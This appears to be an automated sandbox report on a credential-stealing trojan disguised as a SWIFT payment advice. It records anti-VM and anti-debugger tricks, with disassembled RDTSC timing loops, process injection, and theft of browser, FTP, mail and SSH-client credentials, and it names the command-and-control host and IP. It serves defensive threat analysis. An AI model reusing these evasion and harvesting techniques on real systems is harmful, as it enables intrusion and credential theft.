Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	RDTSC instruction interceptor: First address: 0000000002C10D13 second address: 0000000002C10D13 instructions:
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	RDTSC instruction interceptor: First address: 0000000002C13511 second address: 0000000002C13511 instructions:
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	RDTSC instruction interceptor: First address: 0000000003232B0B second address: 0000000003232B0B instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: ieinstal.exe	Binary or memory string: ROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: SWIFT Payment Advise 39 430-25.exe, ieinstal.exe	Binary or memory string: AM FILES\QEMU-GA\QEMU-GA.EXE
Source: SWIFT Payment Advise 39 430-25.exe, 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, ieinstal.exe	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	RDTSC instruction interceptor: First address: 0000000002C13A3E second address: 0000000002C13E98 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 add eax, 40h 0x00000006 add eax, 04h 0x00000009 mov eax, dword ptr [eax] 0x0000000b ret 0x0000000c mov dword ptr [ebp+4Ch], eax 0x0000000f test dl, al 0x00000011 call 00007F8C549E36C2h 0x00000016 push dword ptr [ebp+20h] 0x00000019 jmp 00007F8C549E0616h 0x0000001b cmp si, 734Dh 0x00000020 pop dword ptr [ebp+00000128h] 0x00000026 test dl, 0000001Fh 0x00000029 mov dword ptr [ebp+68h], 00000000h 0x00000030 test bx, dx 0x00000033 jmp 00007F8C549E166Eh 0x00000038 call 00007F8C549DF537h 0x0000003d pop dword ptr [ebp+64h] 0x00000040 cmp dh, ah 0x00000042 jmp 00007F8C549E130Eh 0x00000047 call 00007F8C549DF89Bh 0x0000004c test dl, bl 0x0000004e pop dword ptr [ebp+6Ch] 0x00000051 jmp 00007F8C549E061Ah 0x00000053 test bx, ax 0x00000056 mov dword ptr [ebp+70h], 00000001h 0x0000005d mov dword ptr [ebp+74h], 00000000h 0x00000064 mov dword ptr [ebp+000000ACh], 0001A000h 0x0000006e cmp esi, 263408DCh 0x00000074 mov dword ptr [ebp+7Ch], 00000000h 0x0000007b pushad 0x0000007c mov eax, 0000004Fh 0x00000081 rdtsc
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	RDTSC instruction interceptor: First address: 0000000002C13E98 second address: 0000000002C10D13 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 test cx, cx 0x00000006 jmp 00007F8C544BC783h 0x0000000b call 00007F8C544BB2A2h 0x00000010 pop dword ptr [ebp+000000B8h] 0x00000016 cmp ecx, ebx 0x00000018 push dword ptr fs:[000000C0h] 0x0000001f pop dword ptr [ebp+48h] 0x00000022 cmp dl, dl 0x00000024 ret 0x00000025 cmp al, cl 0x00000027 cmp dx, ax 0x0000002a mov ecx, dword ptr [ebp+5Ch] 0x0000002d jmp 00007F8C544BBD56h 0x0000002f test ch, FFFFFF92h 0x00000032 test al, cl 0x00000034 mov edx, BAEF4789h 0x00000039 pushad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	RDTSC instruction interceptor: First address: 0000000002C10D13 second address: 0000000002C10D13 instructions:
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	RDTSC instruction interceptor: First address: 0000000002C13511 second address: 0000000002C13511 instructions:
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	RDTSC instruction interceptor: First address: 0000000003233A3E second address: 0000000003233E98 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 add eax, 40h 0x00000006 add eax, 04h 0x00000009 mov eax, dword ptr [eax] 0x0000000b ret 0x0000000c mov dword ptr [ebp+4Ch], eax 0x0000000f test dl, al 0x00000011 call 00007F8C549E36C2h 0x00000016 push dword ptr [ebp+20h] 0x00000019 jmp 00007F8C549E0616h 0x0000001b cmp si, 734Dh 0x00000020 pop dword ptr [ebp+00000128h] 0x00000026 test dl, 0000001Fh 0x00000029 mov dword ptr [ebp+68h], 00000000h 0x00000030 test bx, dx 0x00000033 jmp 00007F8C549E166Eh 0x00000038 call 00007F8C549DF537h 0x0000003d pop dword ptr [ebp+64h] 0x00000040 cmp dh, ah 0x00000042 jmp 00007F8C549E130Eh 0x00000047 call 00007F8C549DF89Bh 0x0000004c test dl, bl 0x0000004e pop dword ptr [ebp+6Ch] 0x00000051 jmp 00007F8C549E061Ah 0x00000053 test bx, ax 0x00000056 mov dword ptr [ebp+70h], 00000001h 0x0000005d mov dword ptr [ebp+74h], 00000000h 0x00000064 mov dword ptr [ebp+000000ACh], 0001A000h 0x0000006e cmp esi, 263408DCh 0x00000074 mov dword ptr [ebp+7Ch], 00000000h 0x0000007b pushad 0x0000007c mov eax, 0000004Fh 0x00000081 rdtsc
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	RDTSC instruction interceptor: First address: 0000000003232B0B second address: 0000000003232B0B instructions:

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Code function: 0_2_02C172C6 rdtsc

0_2_02C172C6

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Window / User API: threadDelayed 3263

Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 5384

Thread sleep count: 3263 > 30

Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Last function: Thread delayed

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Thread sleep count: Count: 3263 delay: -5

Jump to behavior

Source: SWIFT Payment Advise 39 430-25.exe, 00000000.00000002.374797254.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: SWIFT Payment Advise 39 430-25.exe, ieinstal.exe	Binary or memory string: am Files\Qemu-ga\qemu-ga.exe
Source: ieinstal.exe	Binary or memory string: rogram Files\Qemu-ga\qemu-ga.exe
Source: SWIFT Payment Advise 39 430-25.exe, 00000000.00000002.374797254.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: SWIFT Payment Advise 39 430-25.exe, 00000000.00000002.374797254.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: SWIFT Payment Advise 39 430-25.exe, 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, ieinstal.exe	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: SWIFT Payment Advise 39 430-25.exe, 00000000.00000002.374797254.0000000002CA0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Code function: 0_2_02C1073E NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000020,02C12FE0,00000000,00000000,00000000

0_2_02C1073E

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Code function: 0_2_02C172C6 rdtsc

0_2_02C172C6

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Code function: 0_2_02C13F01 LdrInitializeThunk,

0_2_02C13F01

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C172C6 mov eax, dword ptr fs:[00000030h]	0_2_02C172C6
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C166D1 mov eax, dword ptr fs:[00000030h]	0_2_02C166D1
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C12696 mov eax, dword ptr fs:[00000030h]	0_2_02C12696
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C126A2 mov eax, dword ptr fs:[00000030h]	0_2_02C126A2
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C13A29 mov eax, dword ptr fs:[00000030h]	0_2_02C13A29
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C16CCE mov eax, dword ptr fs:[00000030h]	0_2_02C16CCE
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C12004 mov eax, dword ptr fs:[00000030h]	0_2_02C12004
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C17589 mov eax, dword ptr fs:[00000030h]	0_2_02C17589
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C175BB mov eax, dword ptr fs:[00000030h]	0_2_02C175BB
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C17565 mov eax, dword ptr fs:[00000030h]	0_2_02C17565
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C1296B mov eax, dword ptr fs:[00000030h]	0_2_02C1296B
Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe	Code function: 0_2_02C1293D mov eax, dword ptr fs:[00000030h]	0_2_02C1293D
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_03237565 mov eax, dword ptr fs:[00000030h]	11_2_03237565
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_032375BB mov eax, dword ptr fs:[00000030h]	11_2_032375BB
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_03237589 mov eax, dword ptr fs:[00000030h]	11_2_03237589
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_032339E0 mov eax, dword ptr fs:[00000030h]	11_2_032339E0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_032339E7 mov eax, dword ptr fs:[00000030h]	11_2_032339E7
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_03236CCE mov eax, dword ptr fs:[00000030h]	11_2_03236CCE
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Code function: 11_2_032366D1 mov eax, dword ptr fs:[00000030h]	11_2_032366D1

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Code function: 11_2_03232BC8 LdrInitializeThunk,RtlAddVectoredExceptionHandler,LdrInitializeThunk,NtProtectVirtualMemory,LdrInitializeThunk,NtProtectVirtualMemory,

11_2_03232BC8

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Memory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 3230000

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe 'C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe'

Jump to behavior

Source: ieinstal.exe, 0000000B.00000002.497857742.0000000003B20000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: ieinstal.exe, 0000000B.00000002.497857742.0000000003B20000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: ieinstal.exe, 0000000B.00000002.497857742.0000000003B20000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: ieinstal.exe, 0000000B.00000002.497857742.0000000003B20000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SWIFT Payment Advise 39 430-25.exe

Code function: 0_2_02C13646 cpuid

0_2_02C13646

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection112	Masquerading1	OS Credential Dumping2	Security Software Discovery621	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion23	Credentials in Registry1	Virtualization/Sandbox Evasion23	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery213	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SWIFT Payment Advise 39 430-25.exe	27%	ReversingLabs	Win32.Trojan.Graftor

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
becharnise.ir	194.5.178.163	true	false	unknown
googlehosted.l.googleusercontent.com	216.58.215.225	true	false	high
doc-0s-40-docs.googleusercontent.com	unknown	unknown	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
216.58.215.225	googlehosted.l.googleusercontent.com	United States		15169	GOOGLEUS	false
194.5.178.163	becharnise.ir	Iran (ISLAMIC Republic Of)		200406	BERBIDSERVERIR	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	385257
Start date:	12.04.2021
Start time:	09:05:53
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SWIFT Payment Advise 39 430-25.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@3/2@5/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 3.7% (good quality ratio 3.4%) Quality average: 50.8% Quality standard deviation: 17.3%
HCA Information:	Successful, ratio: 69% Number of executed functions: 113 Number of non-executed functions: 25
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 104.42.151.234, 92.122.145.220, 184.30.24.56, 13.88.21.125, 13.64.90.137, 8.241.121.254, 8.253.204.120, 67.27.158.126, 8.248.131.254, 8.253.207.120, 216.58.215.238, 20.82.210.154, 104.43.139.144, 168.61.161.212, 92.122.213.194, 92.122.213.247, 20.50.102.62, 104.43.193.48, 52.155.217.156 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, drive.google.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, consumerrp-displaycatalog-aks2eap.md.mp.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus17.cloudapp.net, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/385257/sample/SWIFT Payment Advise 39 430-25.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
194.5.178.163	Purchase Order SC_695853.xlsx	Get hash	malicious	Browse	becharnise.ir/fb19/fre.php
194.5.178.163	Required.exe	Get hash	malicious	Browse	fleximexi.ir/ari/Panel/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
becharnise.ir	Purchase Order SC_695853.xlsx	Get hash	malicious	Browse	194.5.178.163
	SMYXumaA91.exe	Get hash	malicious	Browse	195.211.44.113
	4xxwII41mG.exe	Get hash	malicious	Browse	195.211.44.113
	SPARE PARTS drawing.xlsx	Get hash	malicious	Browse	195.211.44.113
	PROFORMA INVOICE.xlsx	Get hash	malicious	Browse	195.211.44.113
	SOA#0850.exe	Get hash	malicious	Browse	194.147.142.237
	RfqHongJ.exe	Get hash	malicious	Browse	194.147.142.237
	Remittance slip.exe	Get hash	malicious	Browse	194.147.142.237
	_ShipDoc_CI_PL_HBL_.xlsx	Get hash	malicious	Browse	194.147.142.237
	r2HXquFlQa.exe	Get hash	malicious	Browse	194.147.142.237
	NyBozyKqtT.exe	Get hash	malicious	Browse	194.147.142.237
	WdJ1OsBhHk.exe	Get hash	malicious	Browse	194.147.142.237
	FTdoFIURU7.exe	Get hash	malicious	Browse	194.147.142.237
	VSLS PARTICULARS.xlsx	Get hash	malicious	Browse	194.147.142.237
	VSL_MT LOYALTY_pdf.exe	Get hash	malicious	Browse	194.147.142.237
	SecuriteInfo.com.W32.AIDetect.malware2.3511.exe	Get hash	malicious	Browse	194.147.142.237
	aH3bqPMEP2.exe	Get hash	malicious	Browse	185.208.180.121
	SecuriteInfo.com.W32.AIDetect.malware1.6066.exe	Get hash	malicious	Browse	185.208.180.121
	INV 0898764_pdf.exe	Get hash	malicious	Browse	185.208.180.121
	VSL_MT LOYALTY.xlsx	Get hash	malicious	Browse	185.208.180.121

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
BERBIDSERVERIR	Purchase Order SC_695853.xlsx	Get hash	malicious	Browse	194.5.178.163
BERBIDSERVERIR	Required.exe	Get hash	malicious	Browse	194.5.178.163

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	malevolo.ps1	Get hash	malicious	Browse	216.58.215.225
	shipping document.exe	Get hash	malicious	Browse	216.58.215.225
	Statement-ID261179932209970.vbs	Get hash	malicious	Browse	216.58.215.225
	Alexandra38.docx	Get hash	malicious	Browse	216.58.215.225
	rRobw1VVRP.exe	Get hash	malicious	Browse	216.58.215.225
	Tmd7W7qwQw.dll	Get hash	malicious	Browse	216.58.215.225
	SecuriteInfo.com.Trojan.Agent.FFIJ.17175.exe	Get hash	malicious	Browse	216.58.215.225
	documents-351331057.xlsm	Get hash	malicious	Browse	216.58.215.225
	documents-1819557117.xlsm	Get hash	malicious	Browse	216.58.215.225
	mail_6512365134_7863_202104108.html	Get hash	malicious	Browse	216.58.215.225
	Copia bancaria de swift.exe	Get hash	malicious	Browse	216.58.215.225
	SecuriteInfo.com.Trojan.GenericKD.36659493.29456.exe	Get hash	malicious	Browse	216.58.215.225
	SecuriteInfo.com.Trojan.Siggen12.64197.30705.exe	Get hash	malicious	Browse	216.58.215.225
	#Ud83d#Udcde973.htm	Get hash	malicious	Browse	216.58.215.225
	3vQD6TIYA1.exe	Get hash	malicious	Browse	216.58.215.225
	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Get hash	malicious	Browse	216.58.215.225
	XN123gfQJQ.exe	Get hash	malicious	Browse	216.58.215.225
	documento.xlsb	Get hash	malicious	Browse	216.58.215.225
	securedmessage.htm	Get hash	malicious	Browse	216.58.215.225

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Program Files (x86)\Internet Explorer\ieinstal.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\eb42b1a5c308fc11edf1ddbdd25c8486_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
